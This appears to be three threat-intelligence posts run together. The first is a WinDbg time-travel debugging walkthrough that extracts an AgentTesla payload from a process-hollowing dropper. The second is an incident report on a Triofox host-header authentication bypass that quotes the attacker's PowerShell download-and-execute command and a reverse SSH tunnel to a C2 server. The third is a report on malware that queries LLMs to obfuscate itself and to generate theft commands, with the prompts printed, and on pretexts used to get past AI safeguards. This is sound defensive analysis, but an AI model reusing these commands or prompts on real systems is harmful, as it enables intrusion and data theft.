The WinDbg debugger data model is an extensible object model that exposes debugger information as a navigable tree of objects. The debugger data model brings a fundamental shift in how users access debugger information in WinDbg, from wrangling raw text-based output to interacting with structured object information. The data model supports LINQ for querying and filtering, allowing users to efficiently sort through large volumes of execution information. The debugger data model also simplifies automation through JavaScript, with APIs that mirror how you access the debugger data model through commands.

The Display Debugger Object Model Expression (dx) command is the primary way to interact with the debugger data model from the command window in WinDbg. The model lends itself to discoverability – you can begin traversing through it by starting at the root Debugger object:

0:000> dx Debugger
Debugger
    Sessions
    Settings
    State
    Utility
    LastEvent

The command output lists the five objects that are properties of the Debugger object. Note that the names in the output, which look like links, are marked up using the Debugger Markup Language (DML). DML enriches the output with links that execute related commands. Clicking on the Sessions object in the output executes the following dx command to expand on that object:

0:000> dx -r1 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run

The -r# argument specifies recursion up to # levels, with a default depth of one if not specified. For example, increasing the recursion to two levels in the previous command produces the following output:

0:000> dx -r2 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
        Processes       
        Id               : 0
        Diagnostics     
        TTD             
        OS              
        Devices         
        Attributes

The -g argument displays any iterable object into a data grid in which each element is a grid row and the child properties of each element are grid columns.

0:000> dx -g Debugger.Sessions

Debugger and User Variables

WinDbg provides some predefined debugger variables for convenience which can be listed through the DebuggerVariables property.

0:000> dx Debugger.State.DebuggerVariables
Debugger.State.DebuggerVariables                
   cursession       : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
    curprocess       : 0b631f91f02ca9cffd66e7c64ee11a4b.exe [Switch To]
    curthread        [Switch To]
    scripts         
    scriptContents   : [object Object]
    vars            
    curstack        
    curframe         : ntdll!LdrInitializeThunk [Switch To]
    curregisters    
    debuggerRootNamespace

Frequently used variables include:

• @$cursession: The current debugger session. Equivalent to Debugger.Sessions[<session>]. Commonly used items include:

• @$cursession.Processes: List of processes in the session.

• @$cursession.TTD.Calls: Method to query calls that occurred during the trace.

• @$cursession.TTD.Memory: Method to query memory operations that occurred during the trace.

• @$curprocess: The current process. Equivalent to @$cursession.Processes[<pid>]. Frequently used items include:

• @$curprocess.Modules: List of currently loaded modules.

• @$curprocess.TTD.Events: List of events that occurred during the trace.

Investigating the Debugger Data Model to Identify Process Hollowing

With a basic understanding of TTD concepts and a trace ready for investigation, we can now look for evidence of process hollowing. To begin, the Calls method can be used to search for specific Windows API calls. This search is effective even with a .NET sample because the managed code must interface with the unmanaged Windows API through P/Invoke to perform a technique like process hollowing.

Process hollowing begins with the creation of a process in a suspended state via a call to CreateProcess with a creation flag value of 0x4. The following query uses the Calls method to return a table of each call to the kernel32 module’s CreateProcess* in the trace; the wildcard (*) ensures the query matches calls to either CreateProcessA or CreateProcessW.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*")

This query returns a number of fields, not all of which are helpful for our investigation. To address this, we can apply the Select LINQ query to the original query, which allows us to specify which columns to display and rename them.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*").Select(c => new { TimeStart = c.TimeStart, Function = c.Function, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})

The result shows one call to CreateProcessA starting at position 58243:104D. Note the return address: since this is a .NET binary, the native code executed by the Just-In-Time (JIT) compiler won't be located in the application's main image address space (as it would be in a non-.NET image). Normally, an effective triage step is to filter results with a Where LINQ query, limiting the return address to the primary module to filter out API calls that do not originate from the malware. This Where filter, however, is less reliable when analyzing JIT-compiled code due to the dynamic nature of its execution space.

The next point of interest is the Parameters field. Clicking on the DML link on the collapsed value {..} displays Parameters via a corresponding dx command.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters

@$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters
    [0x0]            : 0x55de700055de74
    [0x1]            : 0x55e0780055e0ac
    [0x2]            : 0x808000400000000
    [0x3]            : 0x55de4000000000

Function arguments are available under a specific Calls object as an array of values. However, before we investigate the parameters, there are some assumptions made by TTD that are worth exploring. Overall, these assumptions are affected by whether the process is 32-bit or 64-bit. An easy way to check the bitness of the process is by inspecting the DebuggerInformation object.

0:00> dx Debugger.State.DebuggerInformation
Debugger.State.DebuggerInformation                
    ProcessorTarget  : X86 <--- Process Bitness
    Bitness          : 32
    EngineFilePath   : C:\Program Files\WindowsApps\<SNIPPED>\x86\dbgeng.dll
    EngineVersion    : 10.0.27871.1001

The key identifier in the output is ProcessorTarget: this value indicates the architecture of the guest process that was traced, regardless of whether the host operating system running the debugger is 64-bit.

TTD uses symbol information provided in a program database (PDB) file to determine the number of parameters, their types and the return type of a function. However, this information is only available if the PDB file contains private symbols. While Microsoft provides PDB files for many of its libraries, these are often public symbols and therefore lack the necessary function information to interpret the parameters correctly. This is where TTD makes another assumption that can lead to incorrect results. Primarily, it assumes a maximum of four QWORD parameters and that the return value is also a QWORD. This assumption creates a mismatch in a 32-bit process (x86), where arguments are typically 32-bit (4-byte) values passed on the stack. Although TTD correctly finds the arguments on the stack, it misinterprets two adjacent 32-bit arguments as a single, 64-bit value.

One way to resolve this is to manually investigate the arguments on the stack. First we use the !tt command to navigate to the beginning of the relevant call to CreateProcessA.

0:000> !tt 58243:104D

(b48.12a4): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 58243:104D
eax=00bed5c0 ebx=039599a8 ecx=00000000 edx=75d25160 esi=00000000 edi=03331228
eip=75d25160 esp=0055de14 ebp=0055df30 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNEL32!CreateProcessA:
75d25160 8bff            mov     edi,edi

The return address is at the top of the stack at the start of a function call, so the following dd command skips over this value by adding an offset of 4 to the ESP register to properly align the function arguments.

0:000> dd /c 1 esp+4 L0A
0055de18  0055de74  <-- Application Name
0055de1c  0055de70
0055de20  0055e0ac
0055de24  0055e078
0055de28  00000000
0055de2c  08080004  <-- Creation Flags - 0x4 (CREATE_SUSPENDED)
0055de30  00000000
0055de34  0055de40
0055de38  0055e0c0
0055de3c  0055e068

The value of 0x4 (CREATE_SUSPENDED) set in the bitmask for the dwCreationFlags argument (6th argument) indicates that the process will be created in a suspended state.

The following command dereferences esp+4 via the poi operator to retrieve the application name string pointer then uses the da command to display the ASCII string.

0:000> da poi(esp+4)
0055de74  "C:\Windows\Microsoft.NET\Framewo"
0055de94  "rk\v4.0.30319\InstallUtil.exe"

The command reveals that the target application is InstallUtil.exe, which aligns with the findings from basic analysis.

It is also useful to retrieve the handle to the newly created process in order to identify subsequent operations performed on it. The handle value is returned through a pointer (0x55e068 in the earlier referenced output) to a PROCESS_INFORMATION structure passed as the last argument. This structure has the following definition:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
}

After the call to CreateProcessA, the first member of this structure should be populated with the handle to the process. Step out of the call using the gu (Go Up) command to examine the populated structure.

0:000> gu
Time Travel Position: 58296:60D

0:000> dd /c 1 0x55e068 L4
0055e068  00000104 <-- handle to process
0055e06c  00000970
0055e070  00000d2c
0055e074  00001c30

In this trace, CreateProcess returned 0x104 as the handle for the suspended process.

The most interesting operation in process hollowing for the purpose of triage is the allocation of memory and subsequent writes to that memory, commonly performed via calls to WriteProcessMemory. The previous Calls query can be updated to identify calls to WriteProcessMemory.

0:000> dx -g @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})
=============================================================
=          = (+) TimeStart = (+) ReturnAddress = (+) Params =
=============================================================
= [0x0]    - 6A02A:4B4     - 0x15032e2         - {...}      =
= [0x1]    - 6E516:A91     - 0x15032e2         - {...}      =
= [0x2]    - 729A2:511     - 0x15032e2         - {...}      =
= [0x3]    - 76E2D:750     - 0x15032e2         - {...}      =
= [0x4]    - 7B2DF:C1C     - 0x15032e2         - {...}      =
=============================================================

The query returns four results. The following queries expand the arguments for each call to WriteProcessMemory.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params                
    [0x0]            : 0x104        <-- Target process handle
    [0x1]            : 0x400000     <-- Target Address
    [0x2]            : 0x9810af0    <-- Source buffer
    [0x3]            : 0x200        <-- Write size

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params                
    [0x0]            : 0x104
    [0x1]            : 0x402000
    [0x2]            : 0x984cb10
    [0x3]            : 0x3b600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params                
    [0x0]            : 0x104
    [0x1]            : 0x43e000
    [0x2]            : 0x387d9d0
    [0x3]            : 0x600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params                
    [0x0]            : 0x104
    [0x1]            : 0x440000
    [0x2]            : 0x3927a78
    [0x3]            : 0x200

WriteProcessMemory has the following function signature:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Investigating these calls to WriteProcessMemory shows that the target process handle is 0x104, which represents the suspended process. The second argument defines the address in the target process. The arguments to these calls reveal a pattern common to PE loading: the malware writes the PE header followed by the relevant sections at their virtual offsets.

It is worth noting that the memory of the target process cannot be analyzed from this trace. To record the execution of a child process, pass the -children flag to the TTD.exe utility. This will generate a trace file for each process, including all child processes, spawned during execution.

The first memory write to what is likely the target process's base address (0x400000) is 0x200 bytes. This size is consistent with a PE header, and examining the source buffer (0x9810af0) confirms its contents.

0:000> db 0x9810af0
09810af0  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
09810b00  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
09810b10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
09810b20  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00  ................
09810b30  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
09810b40  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
09810b50  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
09810b60  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

The !dh extension can be used to parse this header information.

0:000> !dh 0x9810af0

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       3 number of sections
66220A8D time date stamp Fri Apr 19 06:09:17 2024

----- SNIPPED -----

OPTIONAL HEADER VALUES
     10B magic #
   11.00 linker version
         ----- SNIPPED -----
       0 [       0] address [size] of Export Directory
   3D3D4 [      57] address [size] of Import Directory
   ----- SNIPPED -----
       0 [       0] address [size] of Delay Import Directory
    2008 [      48] address [size] of COR20 Header Directory

SECTION HEADER #1
   .text name
   3B434 virtual size
    2000 virtual address
   3B600 size of raw data
     200 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #2
   .rsrc name
     546 virtual size
   3E000 virtual address
     600 size of raw data
   3B800 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #3
  .reloc name
       C virtual size
   40000 virtual address
     200 size of raw data
   3BE00 file pointer to raw data
----- SNIPPED -----

The presence of a COR20 header directory (a pointer to the .NET header) indicates that this is a .NET executable. The relative virtual addresses for the .text (0x2000), .rsrc (0x3E000), and .reloc (0x40000) also align with the target addresses of the WriteProcessMemory calls.

The newly discovered PE file can now be extracted from memory using the writemem command.

0:000> .writemem c:\users\flare\Desktop\headers.bin 0x9810af0 L0x200
Writing 200 bytes.

0:000> .writemem c:\users\flare\Desktop\text.bin 0x984cb10 L0x3b600
Writing 3b600 bytes.......................................................................................................................

0:000> .writemem c:\users\flare\Desktop\rsrc.bin 0x387d9d0 L0x600
Writing 600 bytes.

0:000> .writemem c:\users\flare\Desktop\reloc.bin 0x3927178 L0x200
Writing 200 bytes.

Using a hex editor, the file can be reconstructed by placing each section at its raw offset. A quick analysis of the resulting .NET executable (SHA256: 4dfe67a8f1751ce0c29f7f44295e6028ad83bb8b3a7e85f84d6e251a0d7e3076) in dnSpy reveals its configuration data.

----- SNIPPED -----

// Token: 0x0400000E RID: 14
public static bool EnableKeylogger = Convert.ToBoolean("false");
// Token: 0x0400000F RID: 15
public static bool EnableScreenLogger = Convert.ToBoolean("false");
// Token: 0x04000010 RID: 16
public static bool EnableClipboardLogger = Convert.ToBoolean("false");
// Token: 0x0400001C RID: 28
public static string SmtpServer = "<REDACTED";
// Token: 0x0400001D RID: 29
public static string SmtpSender = "<REDACTED>";
// Token: 0x04000025 RID: 37
public static string StartupDirectoryName = "eXCXES";
// Token: 0x04000026 RID: 38
public static string StartupInstallationName = "eXCXES.exe";
// Token: 0x04000027 RID: 39
public static string StartupRegName = "eXCXES";
----- SNIPPED -----

Conclusion: TTD as an Analysis Accelerator

This case study demonstrates the benefit of treating TTD execution traces as a searchable database. By capturing the payload delivery and directly querying the Debugger Data Model for specific API calls, we quickly bypassed the multi-layered obfuscation of the .NET dropper. The combination of targeted data model queries and LINQ filters (for CreateProcess* and WriteProcessMemory*) and low-level commands (!dh, .writemem) allowed us to isolate and extract the hidden AgentTesla payload, yielding critical configuration details in a matter of minutes.

The tools and environment used in this analysis—including the latest version of WinDbg and TTD—are readily available via the FLARE-VM installation script. We encourage you to streamline your analysis workflow with  this pre-configured environment.

The TTD trace can be downloaded from VirusTotal along with the original sample.

Written by: Stallone D'Souza, Praveeth DSouza, Bill Glynn, Kevin O'Flynn, Yash Gupta

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the threats we are seeing in the wild right now, equipping our community to understand and respond. 

Introduction

Mandiant Threat Defense has uncovered exploitation of an unauthenticated access vulnerability within Gladinet’s Triofox file-sharing and remote access platform. This now-patched n-day vulnerability, assigned CVE-2025-12480, allowed an attacker to bypass authentication and access the application configuration pages, enabling the upload and execution of arbitrary payloads. 

As early as Aug. 24, 2025, a threat cluster tracked by Google Threat Intelligence Group (GTIG) as UNC6485 exploited the unauthenticated access vulnerability and chained it with the abuse of the built-in anti-virus feature to achieve code execution. 

The activity discussed in this blog post leveraged a vulnerability in Triofox version 16.4.10317.56372, which was mitigated in release 16.7.10368.56560.

Gladinet engaged with Mandiant on our findings, and Mandiant has validated that this vulnerability is resolved in new versions of Triofox.

Initial Detection

Mandiant leverages Google Security Operations (SecOps) for detecting, investigating, and responding to security incidents across our customer base. As part of Google Cloud Security’s Shared Fate model, SecOps provides out-of-the-box detection content designed to help customers identify threats to their enterprise. Mandiant uses SecOps’ composite detection functionality to enhance our detection posture by correlating the outputs from multiple rules.

For this investigation, Mandiant received a composite detection alert identifying potential threat actor activity on a customer's Triofox server. The alert identified the deployment and use of remote access utilities (using PLINK to tunnel RDP externally) and file activity in potential staging directories (file downloads to C:\WINDOWS\Temp).

Within 16 minutes of beginning the investigation, Mandiant confirmed the threat and initiated containment of the host. The investigation revealed an unauthenticated access vulnerability that allowed access to configuration pages. UNC6485 used these pages to run the initial Triofox setup process to create a new native admin account, Cluster Admin, and used this account to conduct subsequent activities.

Triofox Unauthenticated Access Control Vulnerability

During the Mandiant investigation, we identified an anomalous entry in the HTTP log file - a suspicious HTTP GET request with an HTTP Referer URL containing localhost. The presence of the localhost host header in a request originating from an external source is highly irregular and typically not expected in legitimate traffic.

GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

Figure 2: HTTP log entry

Within a test environment, Mandiant noted that standard HTTP requests issued to AdminAccount.aspx result in a redirect to the Access Denied page, indicative of access controls being in place on the page.

Access to the AdminAccount.aspx page is granted as part of setup from the initial configuration page at AdminDatabase.aspx. The AdminDatabase.aspx page is automatically launched after first installing the Triofox software. This page allows the user to set up the Triofox instance, with options such as database selection (Postgres or MySQL), connecting LDAP accounts, or creating a new native cluster admin account, in addition to other details.

Attempts to browse to the AdminDatabase.aspx page resulted in a similar redirect to the Access Denied page.

Mandiant validated the vulnerability by testing the workflow of the setup process. The Host header field is provided by the web client and can be easily modified by an attacker. This technique is referred to as an HTTP host header attack. Changing the Host value to localhost grants access to the AdminDatabase.aspx page.

By following the setup process and creating a new database via the AdminDatabase.aspx page, access is granted to the admin initialization page, AdminAccount.aspx, which then redirects to the InitAccount.aspx page to create a new admin account.

Analysis of the code base revealed that the main access control check to the AdminDatabase.aspx page is controlled by the function CanRunCrticalPage(),  located within the GladPageUILib.GladBasePage class found in C:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll.

public bool CanRunCriticalPage()
{
    Uri url = base.Request.Url;
    string host = url.Host;
    bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true

    bool result;
    if (flag)
    {
        result = true;
    }
    else
    {
       //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
 
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
        bool flag2 = string.IsNullOrEmpty(text);
        if (flag2)
        {
            result = false;
        }
        else
        {
            string ipaddress = this.GetIPAddress();
            bool flag3 = string.IsNullOrEmpty(ipaddress);
            if (flag3)
            {
                result = false;
            }
            else
            ...
           

Figure 8: Vulnerable code in the function CanRunCrticalPage() 

As noted in the code snippet, the code presents several vulnerabilities:

• Host Header attack - ASP.NET builds Request.Url from the HTTP Host header, which can be modified by an attacker.

• No Origin Validation - No check for whether the request came from an actual localhost connection versus a spoofed header.

• Configuration Dependence - If TrustedHostIP isn't configured, the only protection is the Host header check.

Triofox Anti-Virus Feature Abuse

To achieve code execution, the attacker logged in using the newly created Admin account. The attacker uploaded malicious files to execute them using the built-in anti-virus feature. To set up the anti-virus feature, the user is allowed to provide an arbitrary path for the selected anti-virus. The file configured as the anti-virus scanner location inherits the Triofox parent process account privileges, running under the context of the SYSTEM account.

The attacker was able to run their malicious batch script by configuring the path of the anti-virus engine to point to their script. The folder path on disk of any shared folder is displayed when publishing a new share within the Triofox application. Then, by uploading an arbitrary file to any published share within the Triofox instance, the configured script will be executed.

SecOps telemetry recorded the following command-line execution of the attacker script:

C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"

Post-Exploitation Activity

Support Tools Deployment

The attacker script centre_report.bat executed the following PowerShell command to download and execute a second-stage payload:

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

The PowerShell downloader was designed to:

• Download a payload from http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip, which hosted a disguised executable despite the ZIP extension

• Save the payload to: C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

• Execute the payload silently

The executed payload was a legitimate copy of the Zoho Unified Endpoint Management System (UEMS) software installer. The attacker used the UEMS agent to then deploy the Zoho Assist and Anydesk remote access utilities on the host.

Reconnaissance and Privilege Escalation

The attacker used Zoho Assist to run various commands to enumerate active SMB sessions and specific local and domain user information. 

Additionally, they attempted to change passwords for existing accounts and add the accounts to the local administrators and the “Domain Admins” group.

Defense Evasion

The attacker downloaded sihosts.exe and silcon.exe (sourced from the legitimate domain the.earth[.]li) into the directory C:\windows\temp\.

These tools were used to set up an encrypted tunnel, connecting the compromised host to their command-and-control (C2 or C&C) server over port 433 via SSH. The C2 server could then forward all traffic over the tunnel to the compromised host on port 3389, allowing inbound RDP traffic. The commands were run with the following parameters:

C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

Conclusion

While this vulnerability is patched in the Triofox version 16.7.10368.56560, Mandiant recommends upgrading to the latest release. In addition, Mandiant recommends auditing admin accounts, and verifying that Triofox’s Anti-virus Engine is not configured to execute unauthorized scripts or binaries. Security teams should also hunt for attacker tools using our hunting queries listed at the bottom of this post, and monitor for anomalous outbound SSH traffic. 

Acknowledgements

Special thanks to Elvis Miezitis, Chris Pickett, Moritz Raabe, Angelo Del Rosario, and Lampros Noutsos

Detection Through Google SecOps

Google SecOps customers have access to these broad category rules and more under the Mandiant Windows Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Gladinet or Triofox IIS Worker Spawns CMD

• Gladinet or Triofox Suspicious File or Directory Activity

• Gladinet Cloudmonitor Launches Suspicious Child Process

• Powershell Download and Execute

• File Writes To AppCompat

• Suspicious Renamed Anydesk Install

• Suspicious Activity In Triofox Directory

• Suspicious Execution From Appcompat

• RDP Protocol Over SSH Reverse Tunnel Methodology

• Plink EXE Tunneler

• Net User Domain Enumeration

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

GladinetCloudMonitor.exe Spawns Windows Command Shell

Identify the legitimate GladinetCloudMonitor.exe process spawning a Windows Command Shell.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
target.process.file.full_path = /cmd\.exe/ nocase

Utility Execution

Identify the execution of a renamed Plink executable (sihosts.exe) or a renamed PuTTy executable (silcon.exe) attempting to establish a reverse SSH tunnel.

metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-R\b/
(
target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
)

Indicators of Compromise (IOCs)

The following IOCs are available in a Google Threat Intelligence (GTI) collection for registered users.

Note: The following table contains artifacts that are renamed instances of legitimate tools.

Host-Based Artifacts

Network-Based Artifacts

Executive Summary

Based on recent analysis of the broader threat landscape, Google Threat Intelligence Group (GTIG) has identified a shift that occurred within the last year: adversaries are no longer leveraging artificial intelligence (AI) just for productivity gains, they are deploying novel AI-enabled malware in active operations. This marks a new operational phase of AI abuse, involving tools that dynamically alter behavior mid-execution.

This report serves as an update to our January 2025 analysis, "Adversarial Misuse of Generative AI," and details how government-backed threat actors and cyber criminals are integrating and experimenting with AI across the industry throughout the entire attack lifecycle. Our findings are based on the broader threat landscape.

At Google, we are committed to developing AI responsibly and take proactive steps to disrupt malicious activity by disabling the projects and accounts associated with bad actors, while continuously improving our models to make them less susceptible to misuse. We also proactively share industry best practices to arm defenders and enable stronger protections across the ecosystem. Throughout this report we’ve noted steps we’ve taken to thwart malicious activity, including disabling assets and applying intel to strengthen both our classifiers and model so it’s protected from misuse moving forward. Additional details on how we’re protecting and defending Gemini can be found in this white paper, “Advancing Gemini’s Security Safeguards.”

aside_block

<ListValue: [StructValue([('title', 'GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools'), ('body', <wagtail.rich_text.RichText object at 0x7fd4e228ba60>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/advances-in-threat-actor-usage-of-ai-tools-en.pdf'), ('image', <GAEImage: misuse of AI 2 cover>)])]>

Key Findings

• First Use of "Just-in-Time" AI in Malware: For the first time, GTIG has identified malware families, such as PROMPTFLUX and PROMPTSTEAL, that use Large Language Models (LLMs) during execution. These tools dynamically generate malicious scripts, obfuscate their own code to evade detection, and leverage AI models to create malicious functions on demand, rather than hard-coding them into the malware. While still nascent, this represents a significant step toward more autonomous and adaptive malware.

• "Social Engineering" to Bypass Safeguards: Threat actors are adopting social engineering-like pretexts in their prompts to bypass AI safety guardrails. We observed actors posing as students in a "capture-the-flag" competition or as cybersecurity researchers to persuade Gemini to provide information that would otherwise be blocked, enabling tool development.

• Maturing Cyber Crime Marketplace for AI Tooling: The underground marketplace for illicit AI tools has matured in 2025. We have identified multiple offerings of multifunctional tools designed to support phishing, malware development, and vulnerability research, lowering the barrier to entry for less sophisticated actors.

• Continued Augmentation of the Full Attack Lifecycle: State-sponsored actors including from North Korea, Iran, and the People's Republic of China (PRC) continue to misuse Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to command and control (C2) development and data exfiltration.

Threat Actors Developing Novel AI Capabilities 

For the first time in 2025, GTIG discovered a code family that employed AI capabilities mid-execution to dynamically alter the malware’s behavior. Although some recent implementations of novel AI techniques are experimental, they provide an early indicator of how threats are evolving and how they can potentially integrate AI capabilities into future intrusion activity. Attackers are moving beyond "vibe coding" and the baseline observed in 2024 of using AI tools for technical support. We are only now starting to see this type of activity, but expect it to increase in the future.

Experimental Malware Using Gemini for Self-Modification to Evade Detection

In early June 2025, GTIG identified experimental dropper malware tracked as PROMPTFLUX that suggests threat actors are experimenting with LLMs to develop dynamic obfuscation techniques. PROMPTFLUX is written in VBScript and interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate "just-in-time" self-modification, likely to evade static signature-based detection.

Further examination of PROMPTFLUX samples suggests this code family is currently in a development or testing phase since some incomplete features are commented out and a mechanism exists to limit the malware's Gemini API calls. The current state of this malware does not demonstrate an ability to compromise a victim network or device. We have taken action to disable the assets associated with this activity. 

The most novel component of PROMPTFLUX is its "Thinking Robot" module, designed to periodically query Gemini to obtain new code for evading antivirus software. This is accomplished using a hard-coded API key to send a POST request to the Gemini API endpoint. The actor specifies the use of the "gemini-1.5-flash-latest" model; the "-latest" tag ensures the malware always calls the most current stable release, making the tool more resilient to model deprecation. The prompt sent to the LLM is highly specific and machine-parsable, requesting VBScript code for antivirus evasion and instructing the LLM to output only the code itself. 

Although the self-modification function (AttemptToUpdateSelf) is commented out, its presence, combined with the active logging of AI responses to "%TEMP%\thinking_robot_log.txt", clearly indicates the author's goal of creating a metamorphic script that can evolve over time.

We identified multiple variations of PROMPTFLUX using LLM-driven code regeneration, including one with the "Thinking Robot" function replaced with a new "Thinging" function. This function leverages a prompt to instruct the Gemini API to rewrite the malware's entire source code on an hourly basis to evade detection. The prompt directs the LLM to act as an "expert VBScript obfuscator," ensuring the new variant remains viable by embedding the original decoy payload, the hard-coded API key, and the complete self-regeneration logic, thereby establishing a recursive cycle of mutation.

Although unattributed to a specific threat actor, the filenames associated with PROMPTFLUX highlight behaviors commonly associated with financially motivated actors. Specifically, varied social engineering lures including "crypted_ScreenRec_webinstall" highlight a broad, geography- and industry-agnostic approach designed to trick a wide range of users.

While PROMPTFLUX is likely still in research and development phases, this type of obfuscation technique is an early and significant indicator of how malicious operators will likely augment their campaigns with AI moving forward.

LLM Generating Commands to Steal Documents and System Information

In June, GTIG identified the Russian government-backed actor APT28 (aka FROZENLAKE) using new malware against Ukraine we track as PROMPTSTEAL and reported by CERT-UA as LAMEHUG. PROMPTSTEAL is a data miner, which queries an LLM (Qwen2.5-Coder-32B-Instruct) to generate commands for execution via the API for Hugging Face, a platform for open-source machine learning including LLMs. APT28's use of PROMPTSTEAL constitutes our first observation of malware querying an LLM deployed in live operations. 

PROMPTSTEAL novelly uses LLMs to generate commands for the malware to execute rather than hard coding the commands directly in the malware itself. It masquerades as an "image generation" program that guides the user through a series of prompts to generate images while querying the Hugging Face API to generate commands for execution in the background.

Make a list of commands to create folder C:\Programdata\info and 
to gather computer information, hardware information, process and 
services information, networks information, AD domain information, 
to execute in one line and add each result to text file 
c:\Programdata\info\info.txt. Return only commands, without markdown

Figure 2: PROMPTSTEAL prompt used to generate command to collect system information

Make a list of commands to copy recursively different office and 
pdf/txt documents in user Documents,Downloads and Desktop 
folders to a folder c:\Programdata\info\ to execute in one line. 
Return only command, without markdown.

Figure 3: PROMPTSTEAL prompt used to generate command to collect targeted documents

